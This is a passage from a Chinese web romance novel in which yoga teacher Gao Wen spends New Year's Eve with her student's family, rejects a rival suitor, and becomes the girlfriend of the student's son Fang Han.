她清晰明白，想要靠向上攀爬吸血的不是她自己，而是想要靠着她过好日子的宋洁。 * 放假的第一天，高雯在家里躺了一天。 回来这段时间，她的作息都调好了，早睡早起。 论文的事情告一段落，馆里放假了，顾书杰的公司也放假了，就连这个繁华的城市，都逐渐空了，高雯都不知道自己能去哪。 时间变得很慢。 怪无聊的。 高雯躺在床上，拿过一本医学康复书，正在看。 “嗡嗡——” 手机传来震动声。 高雯拿过手机看。 她以为是方寒发来的消息，没想到是胡虹：【雯雯，我想上课，你能给我上课吗？】 高雯笑了，她按着语音说话道：【我可以给您上，但大家都放假了，你要悄悄卷大家吗？】 胡虹也回了语音：“对啊，我现在都习惯了，每天都要上课，不然总觉得缺了点什么。” 高雯打字回：【您想约几点呢？】 胡虹：【都可以啊。】 其他会员没人约课，高雯都有时间。 她和胡虹约上午的九点。 高雯想着，她给胡虹上完课，自己可以在馆里自我练习。 小公寓的空间有限，辅具也不齐全，而且在瑜伽馆也有氛围，安安静静的，难得有足够多的时间给她练习，等到开课了，又得忙一整天。 高雯早上八点就到了，她没想到，胡虹也是提前来。 她还要给高雯带点好吃的。 等到练完后，胡虹也不会立刻走，她要留在馆里，和高雯东聊聊西扯扯，还要高雯给她拍美美的照片。 偌大的瑜伽馆教室里，就只有两人，说话都有回声。 胡虹原本只是早上八点上一节课，后来变成了下午也要上一节。 高雯还以为节前那几天会比较无聊，有了会员约课，胡虹上完课都要唠嗑半天，时间就这么过去了。 白天给胡虹上两节课，晚上的话，方寒会找她聊一会天，两人并未有什么逾越，偶尔说说工作上的事情，就这么你一句我一句，都能聊几个小时。 方寒约高雯除夕晚一起吃个饭，说是有一家新开的私房菜，除夕当天有特定菜色。 高雯很清楚，他不想让她一个人过除夕。 她一个人过了几年的除夕春节，其实并未觉得有什么。 高雯并未马上答应：【看看吧，不知道有没有时间。】 她在想，方寒除夕也是要回去陪家人吃饭的，她总不能占用这个时间。 方寒并未坚持：【嗯，那到时候说，不去也没关系。】 高雯没想到，除夕当天，她还真有事，不过不是晚上。 胡虹让高雯除夕当天去她家上课，理由非常充分：【雯雯，我今天晚睡啦，起不来那么早，要不你来我家吧？我家有瑜伽室，刚装修好的！你来参观一下，什么都有哦！】 高雯想到这几天都是胡虹来瑜伽馆，胡虹不想来了，她去她家也行，省得胡虹来回跑。 胡虹怕高雯不答应，还要补充：【方寒很忙，年上都加班，不回来。家里就我们两个老人，很可怜。】 高雯回胡虹：【好。】 其实方寒加不加班都不打紧，他们之间倒不避嫌。 高雯一答应，胡虹的电话就打到方寒哪了。 她开口的第一句就对方寒说：“明天就是除夕了，你明天早上别回来，晚上再回来。” “为什么？”方寒约了高雯吃晚饭，他想早上回去。 “我有朋友来家里，你回来添乱吗？你忙你的。记得，除夕当天晚上才能回来！”胡虹特意强调，“早上不许回来。” “中午不吃团圆饭吗？”方寒问。 “晚上才吃，中午我有事。”胡虹说。 方寒还未多说，胡虹就干脆利落挂掉了电话，没有给他说话的机会。 他看着手机，眉头紧蹙。 不过高雯也没答应要和他吃晚饭，如果晚上不一起吃饭的话，他回家吃个饭，然后再找个机会约她出来，或者给她带顿饺子也行。 除夕当天，他还是要见见她，不能让她一个人过除夕。 * 除夕当天，清早。 高雯根据胡虹给的地址，穿过一条条小巷。 此时的年味已经很浓了，家家贴了对联，挂起了灯笼，到处都是喜气洋洋的气息。 高雯来到了一所大门前，这是一所四合院的大门。 她拿着手机，退出上面的导航，再一次点进去，确认胡虹给她发的地址。 地址显示还是这个地址。 高雯看着面前的气派的大门，旁边还有两个小门。 她看了看周围，没有上前，而是给胡虹发了消息：【我到了，您在家吗？】 高雯的消息没发出多久，旁边的小门就打开了，胡 虹的身影从里面出来，她看着高雯，笑容满面：“雯雯，欢迎你来我家，我从今天早上就在等你啦，我都睡不着。” 高雯再一次看着大门，笑着跟胡虹进去。 在热闹的胡同里，这所四合院闹中取静，别致幽静。 四合院一进去，就是宽敞的院子，旁边有一棵柿子树，上面树叶凋零，挂了不少积雪，院里有个小庭院，还有一座小假山，旁边还种了不少竹子，影壁侧面是小跨院。 高雯看着这四合院，心中不经有些想笑。 她对方寒的误解和成见真的很大。 她以前觉得方寒是孤儿也就罢了，后来又认为他家境很普通，饶是知道胡虹是他妈妈，也只是觉得是偏上一点的家庭，其实也没有想过太多。 但她是万万没想到，方寒家住四合院啊。 而且是大四合院。 就好像有一种感觉，这哥们是富二代啊，看着一点都不像。 方寒啊方寒，她可太小瞧他了。 胡虹一路带着高雯到西厢房，一打开门，房间角落旁放着不少辅具，居然还有一张核心床。 高雯都笑了：“您买了这个，练过吗？” “没有啊。”胡虹说得理直气壮，“我就是等你来给我上课的，雯雯，你不在，我哪敢随便练，万一受伤怎么办？” “您说得对，”高雯笑。 “上课啦上课啦。”胡虹关门前，看到买菜回来的方宏铭，说了一声，“雯雯来了，我们先上课，不许打扰我们！” “好。”方宏铭接话。 胡虹这话的意思，就是要做饭留客人。 高雯看了眼方宏铭，点头打招呼。 胡虹和高雯在上课时，方宏铭拎着好几个袋子走向厨房，开始忙活。 期间，方寒给方宏铭打了电话：“爸，我们家今天吃什么馅的饺子？” “鸡蛋韭菜，还有玉米香菇。”方宏铭说完道，“你想吃别的吗？” “做点鲜虾吧。” “我都买菜回来了，你妈说你中午别回来。”方宏铭道。 “我知道，我买点鲜虾送回去，不在家吃饭，我也有事。”方寒说。 方宏铭：“那你悄悄回来啊，别让你妈知道了，不然她该念叨我了。” “我留在家做什么？我送回去就走了。” “行。” “马上到了。” 方寒特意去大超市买鲜活的野生虾，拿回来的时候还活蹦乱跳的。 他拿到厨房，方宏铭看到都忍不住道：“去哪买的虾？这颜色不像养殖的啊，海里野生的？” “嗯。”方寒点头，“处理了就得赶紧做，随后冷冻，不然不新鲜。” “这活蹦乱跳，还不新鲜啊？”方宏铭把虾倒出来，看着乱蹦的虾，“你什么时候喜欢上吃虾了？你不是不喜欢吃海鲜吗？” 方寒没接话。 “行吧，你赶紧走吧。”方宏铭摆摆手，“我会处理。” “一会中午我能回来拿点吗？”方寒问。 他想中午就给高雯送点过去。 方宏铭做饺子很好吃，所以他才拿回来让他包。 “不行，中午你不能回来。”方宏铭一口拒绝，“你妈不让！” “行吧，我马上走，”方寒走之前，随口问一句，“我妈呢？家里没人啊。” “她们在上课，小声点。”方宏铭走过来，做了个嘘声动作，指了指西厢房，“她在屋里上课呢，你赶紧走吧。” 方寒看着紧闭的西厢房门，脚下直接走不动道了。 她们？上课？ 方宏铭正在处理食材，见方寒久久没动，他问：“你怎么还不走啊？” “爸，我要不我帮你做饭吧？”方寒嘴角止不住勾起，转身走回来，一边说一边就上前动手帮忙。 “不用，不用！”方宏铭瞪大眼，把方寒往外推，着急道，“你赶紧走！你妈一会发现我让你回来，她非得剥我的皮！她中午要留那个小姑娘吃饭。” “你们不能碰面！” “我包完饺子就走。”方寒嘴角愈发上扬。 “一会你妈发现了！”方宏铭摇头。 “发现不了，”方寒站在厨台前帮方宏铭的忙，“我妈都跟我说过了，我知道的。” 方宏铭一听，胡虹都和方寒说过，心里就放心了。 这对母子，不知道在搞什么，胡虹这段时间也没说要让那个雯雯老师当儿媳妇的事情了，方宏铭没过多过问，反正不牵扯到他就行。 方家极少吃海鲜，活虾相对难处理，方宏铭处理起来还是费劲，只见方寒熟练处理着，方宏铭忍不住道：“你什么时候这么会剥虾了？” “练出来的。”方寒眸光里笑意加深。 高雯喜欢吃，那段时间，他常买，剥多了就会了。 方宏铭疑惑：“你从小就不喜欢吃虾。” 方寒：“现在很喜欢。” 方宏铭没多想：“等下次你回来，我研究几道虾的菜色，做给你吃。”他话音未落，就听到西厢房那边的开门声，顿时脸色骤变：“你妈出来了，你快走！” 方寒动都没动。 “方寒！” “爸，我饿了。”方寒看向方宏铭，多少是有点卖惨。 胡虹不会做饭，方宏铭只要有空都是他给方寒做饭，他们父子在厨房“相依为命”，他看着方寒，正犹豫着，就听到胡虹朝这边走了，“老头子，你是不是买了很多菜？方寒不回来吃饭了，我们吃不完那些菜。” 胡虹下一句就是要挽留高雯吃饭，她都酝酿好话术一个晚上了，结果刚说完话，就看到在厨房的方寒，脸色顿时大变，恨不得把方寒藏起来。 关键是，高雯就跟在胡虹身后，自然也看到了方寒这个大活人。 “你怎么回来了？不是公司要加班吗？”胡虹说这话的时候，咬牙切齿，“你赶紧去公司加班吧，工作多重要啊。” 高雯一个小女孩，独自在这边，除夕都是一个人过。 胡虹就想找借口留她在家里吃饭，吃顿饺子。 方寒晚上再回来好了，到时候一家人再吃饭。 “公司不加班了。”方寒说。 “谁说不加了？”胡虹瞪着方寒。 方寒面不改色：“刚刚群里说的。” 胡虹就挺想打人的。 这个臭小子，干脆断亲算了！ 方寒看向高雯：“留下一起吃顿饭吧？” 高雯刚要拒绝，他继续道：“我和我爸都把食材准备好了，我妈早就想请你来家里吃顿饭，你就圆了她这个梦。” “这倒是，你妈念叨几百回了。”方宏铭点头，“小姑娘，留下来吃顿饭，尝尝我的手艺。” 高雯原本想要拒绝，胡虹上前挽着她的手，那副渴望期待的样子，让人难以拒绝。 她只能答应下来：“麻烦了。” 胡虹热情带高雯去正房，让她坐在沙发上，又去厨房给她拿吃的。 走到厨房，胡虹气呼呼来到方寒面前，伸手指着他：“雯雯本来就要留下来陪我的，方寒，我告诉你，就算你厚着脸皮留下来了，也要收起你的眼神，别一副眼睛都长在雯雯身上的！” “男女之事，强求不得！我都想通了，你也赶紧想通！” 胡虹说完，看向方宏铭哼了一声：“给我看好你儿子！” 第66章 第66章 你们两口子也没回去过年啊？…… 方宏铭连连答应。 等胡虹走后, 方宏铭回头看方寒，只见他满脸春情，嘴角都要咧到耳后, 压都压不住。 “要不, 你还是走吧？”方宏铭对方寒说。 这么盯着人家小姑娘看，笑得跟朵花似的, 也不是个事。 方寒充耳未闻，转身走到水池边继续剥虾，期间还道：“爸, 煮点罗汉果甘草茶。” 清咽利喉，对高雯好。 “家里没罗汉果了, 我去买。”方宏铭往外走。 方寒：“再买点手工豆腐。” 高雯喜欢吃。 “好。” 方寒以往只在厨房搭把手，都是方宏铭做饭。 今天太阳打西边出来了, 方宏铭除了包饺子, 菜都是方寒做。 “要不你来包饺子？”方宏铭停下正在包的饺子, 还有些不放心：“家里有客人，要是做的味道不好, 你妈又得念叨我。” “我知道她喜欢吃什么。”方寒说。 方宏铭：“？？？” 方寒：“您的拿手鱼煲怎么做的, 一会再教教我。” “行吧。” 方寒做了十个菜，其中五个还是让超市临时送上门的食材。 方宏铭一看, 大部分不是他们家常吃的菜。 期间, 胡虹来问了两次。 饭菜终于做好了。 她去叫高雯吃饭前，瞅了方寒好几眼，目光警告。 少给她作妖。 方寒肯定是和那些男的一样肤浅, 看中雯雯肤白貌美！男人都一个德行！ 胡虹沉着脸看方寒，一扭头，跟变脸似的, 笑得开怀：“雯雯，饭菜做好了，我们吃饭啦——” 高雯看着满桌的饭菜，更是不好意思：“给你们添麻烦了。” “没有！过年人多才热闹，现在请客人家都懒得来呢，才不会是添麻烦，一点都没有！”胡虹否认，拉着高雯坐下来。 方寒端着两盘饺子上桌，就势坐到高雯旁边的位置。 胡虹咬牙：“？？？” 不要脸！ “这是什么馅的饺子啊？”胡虹看着其中一盘，疑惑问。 “玉米虾仁。”方寒把那一盘转到高雯面前，“你尝尝。” “谁让做虾仁饺子了？”胡虹拧眉，他们家不怎么吃海鲜。 方宏铭指了指方寒。 可不是他搞的鬼！ 胡虹沉了脸，又是方寒！ 高雯浅笑接话，“谢谢，我挺喜欢吃虾仁。” 胡虹一听高雯喜欢，瞬间变了脸，笑着道：“雯雯喜欢啊，下次多给你做，你还喜欢吃什么？我都做给你尝尝，要多吃点，长点肉。” “不用的阿姨。”高雯婉拒。 “你别怕麻烦我，一点都不麻烦，我喜欢做这些，”胡虹说着还道，“我就爱照顾喜欢的人，这样会有成就感，很幸福的。” 方宏铭听到胡虹这么说，他看了看方寒。 方寒似乎没觉得有什么不对，这对母子，搞什么呢？ 方宏铭的意见也不重要，他默默捧着碗吃饭。 胡虹给高雯夹了饺子，又给她夹菜，嘴上还道：“今天是除夕，辛苦你来我家给我上课，还陪我吃饭，要多吃一点。” “不辛苦。”高雯看着桌上大部分都是她喜欢吃的菜，眸光里的情绪涌动。 她原本打算一个人吃饭。 今天除夕，可以奖励自己多点几个外卖。 正如胡虹所说，过年人多热闹，坐在这里和他们一起吃饭的感觉不一样，心好像都跟着变暖了。 方寒站起来盛了碗汤，高雯伸出双手要去接，他没松手，放在她手边，轻声叮嘱：“有些烫。” 高雯声线软糯：“谢谢。” 方寒坐下来又说：“我爸做的鱼煲很不错，是他拿手菜，你可以尝尝。” “好的。”高雯很给面子，夹了一块尝了之后，特别真诚，夸了方宏铭好几句，又吃了一块。 可把方宏铭乐得笑眯眯。 大家吃完饭，他端着剩菜去厨房的时候，都忍不住道：“这姑娘脾气好，心眼好，长得好，气质也好，据说还是A大学生，年纪轻轻事业有成，很耐心善良，真是哪哪都好。” 方寒听着，唇角不断上翘。 只听方宏铭话锋一转，看着方寒叹气：“就是可惜了，不然多好。” 方寒笑意瞬间消失。 “我要喂鸟，别把它们饿着了。”方宏铭想起这事，急匆匆往后花园走。 这些可是他花了大价钱买回来的宝贝！他的玩伴。 方寒将茶倒出来，端到正房客厅。 胡虹正在和高雯说八卦。 街坊四邻，小巷子里有什么好玩的事情，岂能逃过她的耳，说得绘声绘色，自己还嘎嘎乐。 高雯都被逗笑。 方寒把茶水放在高雯和胡虹面前。 “雯雯，喝点茶水润润喉。”胡虹说着拿起来闻了一下，“罗汉果，这个对你嗓子好，你每天上课那么辛苦，要多喝这个。” “嗯。”高雯点头，小喝了一口，轻声道，“好喝。” “好喝就多喝。”胡虹说着，见方寒也坐在沙发上，瞥了他一眼，提醒道，“你没有事情要忙吗？” 她们正聊得开心，就不能学学方宏铭，这时候就不要出现了！ “没有。”方寒说完还补充，“都忙完了。” 胡虹：“” 没点眼色，活该单身！ 胡虹继续和高雯聊八卦，时不时看方寒两眼。 有这么一个“外人”在，真的很影响她的发挥！ 期间，胡虹使的眼色，方寒悉数当没听见，还听得津津有味。 高雯是个多么会察言观色的人，怎么可能看不到，她觉得有些好笑，唇角都往上勾了勾。 胡虹简直无语方寒，只能拼命将他无视，她亲昵拉着高雯的手唠家常。 就在这时，高雯听到门口有一只鹦鹉，大摇大摆走进来。 “雯雯啊——”胡虹刚开口，那只鹦鹉突然歪着头，看向高雯，张口来了一句，“雯雯！” 高雯震惊：“！！！” 这只鹦鹉是在叫她吗？她第一次听到鹦鹉叫人的名字，还是她的。 “雯雯——”鹦鹉走进来，一直重复，“雯雯！雯雯~~~” 高雯觉得这只鹦鹉成精了，再一次确认：“它在叫我吗？” 方寒似想到什么，蹭一下着急起身，对着鹦鹉轻斥一声，“出去！”随后喊了方宏铭一声。 鹦鹉非但不走，还扇动翅膀往一边飞，站在沙发上，细细的声线拔高：“雯雯，雯雯是我儿媳妇！雯雯——儿媳妇，我的儿媳妇——” 此言一出，客厅瞬间安静。 方寒的心一下缩紧，脖子和耳朵泛红，眼神都不知道往哪放。 高雯比他好不到哪里去，更为羞窘。 “儿——媳——妇——”鹦鹉还会翘音，一边走一边道，“雯雯，儿媳妇儿媳妇！” 胡虹眯了眯眼，指着鹦鹉，怒声道：“你哪里学来的胡说八道，信不信我把你炖了吃！拔掉你的毛！” 鹦鹉身子一缩，连忙飞到一边，叭叭叭一直道：“方寒是大笨蛋，方寒是大笨蛋。”它说个不停，“没媳妇，没媳妇——” 方寒嘴角一抽。 方宏铭赶来把他的鹦鹉带走了，胡虹对高雯道：“方寒就是会这样，教鹦鹉说这些话。” 反正不是她说的！ “？？？”方寒扶额，“妈，您嘴下留情好吗？” 他真的很看重在高雯心中的形象。 高雯见方寒一副求饶的模样，忍不住轻笑出声。 胡虹趁机说：“雯雯都看不过去了，你看看你。” 方寒：“” 行吧。 * 高雯来方家是空着手来的，离开时，胡虹恨不得把能拿上的都给她。 有方宏铭包的玉米鲜虾饺子，还有水果零食坚果，一些手工糕点年货，要不是高雯不会煮饭，多少都得拿几箱补品给她。 尽管高雯一再拒绝，胡虹却格外坚持，还怕高雯拎不动，把东西都给了方寒，下命令道：“东西太多了，你帮雯雯拿回去！” 方寒接了过来。 胡虹还拿出一个大红包，高雯一看到，连忙摆手后退。 她不能连吃带拿。 “在我眼里，你们都是小孩子，过年就要有红包，这是给你的压岁钱，”胡虹塞给高雯，笑着道，“希望雯雯来年平平安安，越长越好看。” 高雯还是有些抗拒。 “长辈的红包，不能退回来，这是规矩。”胡虹认真说。 高雯不清楚这里的规矩，一时间还真被说住，她本能看向方寒，眼底询问。 方寒轻轻点了点，好像真有其事。 “谢谢您，也祝您身体健康，永远十八岁。”高雯说了吉利话，这话也是胡虹经常挂在嘴边的。 高雯一说，胡虹笑得眼角都起了细纹，可开心了。 从方家出来，高雯和胡虹道别。 方寒跟在高雯身边，走了一段路。 她回头看到拎着几袋东西的方寒，笑着上前要接过来：“东西太多了，我拿一点。” “不用，一点都不重。”方寒没放手。 高雯见方寒坚持，也没继续，她慢悠悠走在小巷里，笑着对方寒打趣道：“你放着四合院的少爷不当，跑去和我们普通人合租做什么？” 方寒听高雯说这话，看着她，无奈解释道：“一套祖上留下来的房子，不能卖不能啃，就只是一个住的地方，而且这边不好住，上班通勤不方便。” 别人这么说，多少有些凡尔赛，在方寒口中说出来，他真就这么觉得。 的确是个住的地方而已。 高雯又笑了。 方寒神色小心观察她，面色不太自然：“是有什么问题吗？” “没有。”高雯摇头，冲着方寒竖起大拇指，“不愧是你，不过你说的也有点道理。” 方寒微微挑眉询问。 “我还没来过这边，介意陪我走走吗？”高雯往前走，转移了话题。 “好啊。”方寒陪高雯一路走着，他时不时出言介绍四周的建筑。 这里的建筑，好些都有历史背景，方寒话语清缓，徐徐道来，高雯听得认真，兴趣正浓。 过年的A市，是人最少的时候，不过在这一片区域，都是本地土著，过年氛围正浓。 高雯都被渲染了。 “小姑娘，要对联吗？” “买一副吧。” “还有这窗花，手工剪出来的，什么样图案的都有。” 高雯停在小摊前，被精美的窗花吸引，她最终买了两对窗花还有一副对联，又买了一些喜气洋洋的小摆件。 她扭头对方寒笑着道：“一会回去我也贴上，看着应该不错。” 高家的房子早就被宋洁卖掉了，高雯没有家，自然有几年没过年了。 上一次过年在学校，她大年三十还去兼职。 高雯刚刚在方家看到被装饰的房子，年味浓浓，她这一次自己租了一个小公寓，装饰起来也方便，还是要有点过年的气氛。 方寒跟着高雯回到小区，她往前走，他跟在身后。 进了小区门，又进楼栋门，然后是电梯门。 在电梯里的时候，方寒内心别提有多忐忑。 不过，他刚刚以为她在小区的时候，就不会让他进来了。 这么东西有点沉，他想多帮她一点。 电梯门打开，高雯往外走，她快步往前走去开门。 方寒很有分寸感在门口止住脚步。 “进来啊，”高雯笑，“你大老远帮我把东西送过来，我连一杯茶都不请你喝，未免太小气了吧？我才没那么不近人情。” 方寒嘴角扬起，跟着她走进去。 他把东西放在桌上，又帮她把饺子放在冰箱里，不动声色环视了屋内一圈。 小公寓面积不大，应有尽有，角落堆放着两个行李箱还有一些快递。 高雯挠了挠头道：“我最近太忙了，很多东西都没收拾，你别介意啊。” “挺整洁的。” 方寒刚说完，高雯就笑道：“你可真会睁眼说瞎话！” “真的，”方寒说得那叫一个认真，他把对联拿出来问高雯，“我帮你贴上吧？还有窗花，你一个人怕是忙不过来。” “好啊，我找找胶带。” 高雯找东西的时候，方寒把对联拿出来，走到门口，把门打开。 方寒负责贴，高雯负责矫正。 “右边高一点，对对对，就这样，贴上吧。”高雯上前，把剪好的胶带递给方寒。 两人正配合贴对联的时候，对面的门打开了，一个阿姨走出来，看着两人笑道：“你们两口子也没回去过年啊？” 听言，方寒手微抖，高雯白皙的脸蛋也滚烫起来。 “我们不是。”方寒一本正经解释。 “男女朋友嘛。”阿姨笑着调侃，“没准明年就是了，说不定还是一家三口呢。” 阿姨说完，没等他们再解释，就提着垃圾进电梯了。 高雯和方寒相视一眼，像触电般又快速闪躲开。 一家，三口？ 任谁都没法想象啊，阿姨可真会说！ “那个，我帮你把窗花也贴上。”方寒往桌边走，假装很忙碌拿起窗花分顺序。 “我去拿湿纸巾先擦窗户。”高雯说着往另一边走。 她把湿纸巾和喷雾瓶拿来的时候，方寒伸手接过来：“我来吧。” 高雯买的窗花，除了生肖，就是平安暴富。 方寒把窗花全贴好后，她才发现自己全是对发财的渴望，看得她都笑了。 她走上前，刚要和方寒说话，只见他一转身，两人直接面对面相视，离得太近，都能感受到彼此炽热的呼吸。 空气在那一刻静止，好似凝固了般。 高雯知道方寒的心意，他是喜欢她的。 同时，她知道自己的心意，她喜欢和方寒待在一起，会感觉到很温暖，这是她一直以来的感受，她假设过无数次和这个人度过一生，没有惶恐慌张和忐忑，只有心安和期待。 高雯将方寒心底的温柔情愫看得清清楚楚，一颗心悸动。 他的脸颊和脖子爆红，目光落在高雯红嫩欲滴的唇瓣上，随着本能，不自觉靠近她。 一点点，再一点点，两人的呼吸纠缠。 “我还有点事，就先走了。”最后时刻，方寒往后退一步，同手同脚，步伐凌乱有些落荒而逃。 高雯站在原地，先是微愣，而后低着头，不断整理着自己的头发。 她羞窘抬头望天。 差一点啊。 她就要和方寒亲上了！！！这是谁的问题？！难道是她太随便好色了？她的初吻还在好吗？！ 方寒这个呆子会怎么看她？！ 高雯重重趴在沙发上，把头埋在沙发里，羞得不想抬头。 另一头。 方寒走到楼下，一路往前跑，跟个愣头青似的，坐在路边发呆，脑子里都是高雯刚刚那张明媚动人的脸，想起来心跳就骤然加速。 他伸手捂住自己的脸，多少觉得有些冒犯她，他一定是疯了。 那天后。 胡虹每天还是会找高雯上课，方寒和高雯却没见过面，两人每天只是聊聊天，有几次还是工作上的事情。 方寒好像怕逾越一样，和高雯说话的时候克制很多。 哪怕打语音，都会一板一眼说话，就连关心的话，都要解释一堆，生怕她多想。 听得高雯直皱眉头。 她不喜欢和他这么相处。 * 年初八。 瑜伽馆正常排课了。 徐眉在开工第一天，给了个开工红包，还订了个蛋糕。 大家在开蛋糕的时候，有个外卖员走进来：“你好，请问谁是雯雯老师？” 高雯走出来：“我是。” “这是您的花，请签收。” 外卖员一出口，众人哗然。 高雯走过去牵手，她捧着一大束鲜艳的玫瑰花，翻看了卡片，只有一句赞美语，没有备注名字。 “谁啊谁啊？” “哇，太浪漫了吧。” “又是哪一位追求者？” 大家都凑了过来。 高雯自己都不清楚，她还在想，方寒开窍了？ 她把手机拿出来，没看到他给她发的消息。 算了。 第一天开业，她也很忙。 高雯忙到晚上回去，还是没收到方寒的消息。 他光送花，不说话？是示好还是？ 第二天，高雯又收到了同样的玫瑰花，还有一份冰糖雪梨。 “太暖心啊，快说是哪一位帅哥？”张妮忍不住问。 胡虹也在，她竖起耳朵听，还悄悄拍了照片发给方寒，还发了一串字：“你一点都不懂女孩子，怎么会有女朋友啊？” “人家就知道给雯雯送花，那么大一束！” 胡虹嘲笑完方寒，又给他发了好几张照片：“雯雯今天给我送的护手霜和面霜，一看就好用，香香的，多贴心的女孩子啊。” “还是女儿贴心！雯雯要是我的女儿就好了，你说，我把她认作干女儿，你会介意吗？” 方寒看到消息，直接就坐不住了。 他把照片放大看，瞧见高雯脸上并未带着抗拒，一颗心徐徐往下沉，心头都像是堵了一块。 他回了胡虹的话：【很介意。非常！】 胡虹无语。 小气鬼。 高雯猜测了两天，又不好直接问方寒，而她如愿在晚上下班时，看到了这两天都送玫瑰花的人。 只见林珩捧着一束玫瑰花，就站在不远处等着高雯，瞧见她走过来后，笑着朝她走来：“好久不见，晚上好。” 高雯：“” 他是老师吗？这么招呼的？要不要前面再加上一句“同学们”？ 摆什么谱！ 高雯没回话，转身要走，就遇到了不远处的方寒，他杵在原地，深邃复杂的视线落在她身上。 她慢慢止住脚步。 “高雯，”林珩来到了高雯身边，他自然看到了方寒，但没当一回事。 他重新看着高雯情深意切温柔道，“我一直以来都知道自己对你有好感。我非常欣赏你，认可你，也为之前错怪和偏见向你道歉，你是一个特别好的女孩，勤奋勇敢，自信积极，善良温柔。这一次的事情，更加让我确定自己的心意，你愿不愿意给我们一个重新认识，更加深入了解彼此的机会？” “我认为我们之间，存在一些误解，也完全有新的可能。你愿意做我女朋友吗？” 高雯没接话，一直看着攥紧手，把薄唇死抿着的方寒。 她好气又好笑。 哪怕再慌张，方寒这人都忍着，非常能沉得住气，只会在背后默默付出，从不会要求什么，也不会让她有一点点为难，不然怎么是可怜男配呢？ 巧了，她是恶毒女配。 而且，剧情明晃晃就是可以被改变，男主林珩都来跟她表白了，那她还怕什么？！ 方寒走了九十九步，她要走这最后一步！ 高雯唇角突然翘了一个小小的弧度，眼底染上笑意。 方寒看得真切，只觉得一股冷气迅速席卷全身，心碎成渣渣，脖颈僵硬，浑身发凉。 他所感受到的那些，是错觉吗？ 高雯回头看林珩。 方寒想要离开，却发现半步难移。 只听高雯声线清脆绵甜出口：“不好意思啊林总监，我有男朋友了。” 她话音未落，小跑着奔向方寒。在他未回神时，她已经站在他面前，笑吟吟伸手去握住他的手，高雯刚靠近就被冻得一哆嗦，她本能缩了缩，方寒反手就把她的手握住，力道大得让她动不得。 “你的手好凉啊。”高雯弯着眉眼，用另一只手去握住方寒，想要给他暖手。 方寒一把将她拉到了自己怀里，伸手紧紧抱住她，恨不得把她揉进自己的身体里。 高雯能感觉到，方寒情绪有些难以克制，她抬手，轻轻搂住他的腰，语气含笑在他耳边悄悄道：“学长，你要是不答应做我男朋友，我就丢大脸了。” 方寒把高雯搂得更紧，他看着天上飘落的雪花，帮她把羽绒服的帽子戴上，眸光痴迷缱绻，带着不加掩饰的爱意：“冷不冷？” 高雯笑容明艳摇了摇头。 方寒又把人抱紧了，心软得一塌糊涂。 第67章 第67章 两人抱了好一会，以至于林珩…… 两人抱了好一会, 以至于林珩什么时候离开，都没人知道。 方寒把高雯送到楼下后，就回去了。 高雯回来趴在沙发上, 忍不住用枕头盖在自己脑袋上, 唇角笑意不停扬起。 方寒的怀抱，和她想象中一样温暖。 她从小目的性强, 喜欢的东西，想做的事情，都会竭尽全力去争取, 方寒是她想要的人，主动一点更是没什么。 这种感觉, 甚至还不错。 “嗡嗡嗡——” 高雯的手机响起，是方寒的电话。 她笑着接起来, 声线酥软：“你到家啦？” “你现在可以下楼吗？”方寒轻声问。 “怎么了？” 高雯接到电话后, 稍稍收拾了下, 就下了楼。 刚出门口，她就看到捧着花的方寒, 神色微微一怔, 感动又想笑。 这也不是方寒第一次送她花。 真论起来，以前他们经常去逛街, 或者去超市, 她都会挑选一些花回去插着，都算是方寒给她买的，毕竟是他结账。 方寒看着一步步走来的高雯, 怀中仿佛捧着的不是鲜花，而是一只兔子，砰砰砰直跳个不停。 他目光满是深情注视着她, 出口道：“有些话，我还是想对你说。” “你说。”高雯把手放在身后微微歪头，带着一丝俏皮看着他。 方寒对上她的美眸，心跳再一次加速：“我一直想找个机会和你告白，又很害怕我们连朋友都做不成，但我很清楚，我对你的喜欢，藏都藏不住。” “我有兴趣的事情不多，不过和你做的每一件事都让我觉得很有趣，值得期待。我现在还不知道怎么做一个好的男朋友，但我会努力做到最好。” “你已经足够好啦。”高雯上前，看着玫瑰花，“这花是送给我的吧？” “嗯。” “谢谢。”高雯笑着接过玫瑰花，她才发现他手上还拎着一个蛋糕，“这是？” “之前本来想给你过生日，但没过成，给你补过一个。”方寒说。 高雯从小到大就没过一次生日，因为宋洁说，生她的那天，因为是女孩，高老太太扭头就走了，那是她最耻辱的时候，期盼了十个月的儿子，变成了女儿。 她看着蛋糕，还有些恍惚：“你怎么知道我的生日？” “你的身份证上有。”方寒回。 高雯垂眸，轻轻笑了，她上前去拉方寒的手，挑眉道：“这 么冷的天，你手心怎么都是汗啊？” “紧张。”方寒如实说。 “呆萌呆萌的。”高雯笑，她的手被方寒反握住了，拉着往外走。 小区门口开了一家不错的餐厅。 两人找了个位置。 方寒打开蛋糕，插上蜡烛，点了之后，对高雯道：“许个愿。” “好。”高雯双手放在胸前，微微垂眸，闭上眼声线娇软说，“希望我们越来越好，爱我的人都平安健康，我爱的人都幸福快乐。” 说完，她睁开眼，张口吹蜡烛，就看到方寒把一个首饰盒放在她面前。 里面的那条项链很是眼熟。 “你什么时候买的？”高雯声音很惊喜，乌黑清亮的眸子里带着细碎的光，“我上次还去了一趟，人家说被买走了，我还有点伤心。” 项链很贵，她下定决心想奖励一下自己，结果钱都花不出去。 “你看中的时候，现在也是你的。”方寒说着，伸出食指，沾了一点奶油，他要涂上高雯的鼻尖时，还在前面停了一下，“我看寿星都这样。” 高雯笑着闭眼，把脸微微往前伸了伸。 方寒轻轻在她鼻尖上点了一下，嘴角噙了浅浅的笑意。 “冰冰的。”高雯睁眼，看着手上的项链，又递给方寒，“你给我戴上。” “好。” 方寒来到高雯身后，她撩起她柔顺的长发，露出修长优美的脖颈，他解开项链扣子，身子前倾，将项链放在她胸前。 两人离得近，方寒的鼻翼里隐约能闻到高雯身上的清香，心如擂鼓。 他的手心又忍不住一下冒汗。 “好了吗？” 高雯的出声将方寒思绪拉回，“好了。”他坐了回去。 “吃蛋糕了。”高雯拿过刀，切下第一块，要给方寒。 “寿星吃第一块。”方寒说。 “还有这个讲究啊，知道啦。”高雯把第一块放在她面前，方寒要接过刀自己切，她没松手，“我给你切。” 高雯把蛋糕放在方寒面前时，也用手沾了蛋糕，她可没他那么礼貌，上手就往他鼻尖一点，还要在他额头上轻轻画上三条横线，然后再画一竖，然后笑吟吟道，“你属虎，就是这样。” 方寒一动不动，任由她折腾，一点都不反抗。 高雯看着这只乖顺的“老虎”，真的想狠狠欺负啊。 * 高雯还有不少东西在之前的出租屋，她专门腾出时间回来收拾。 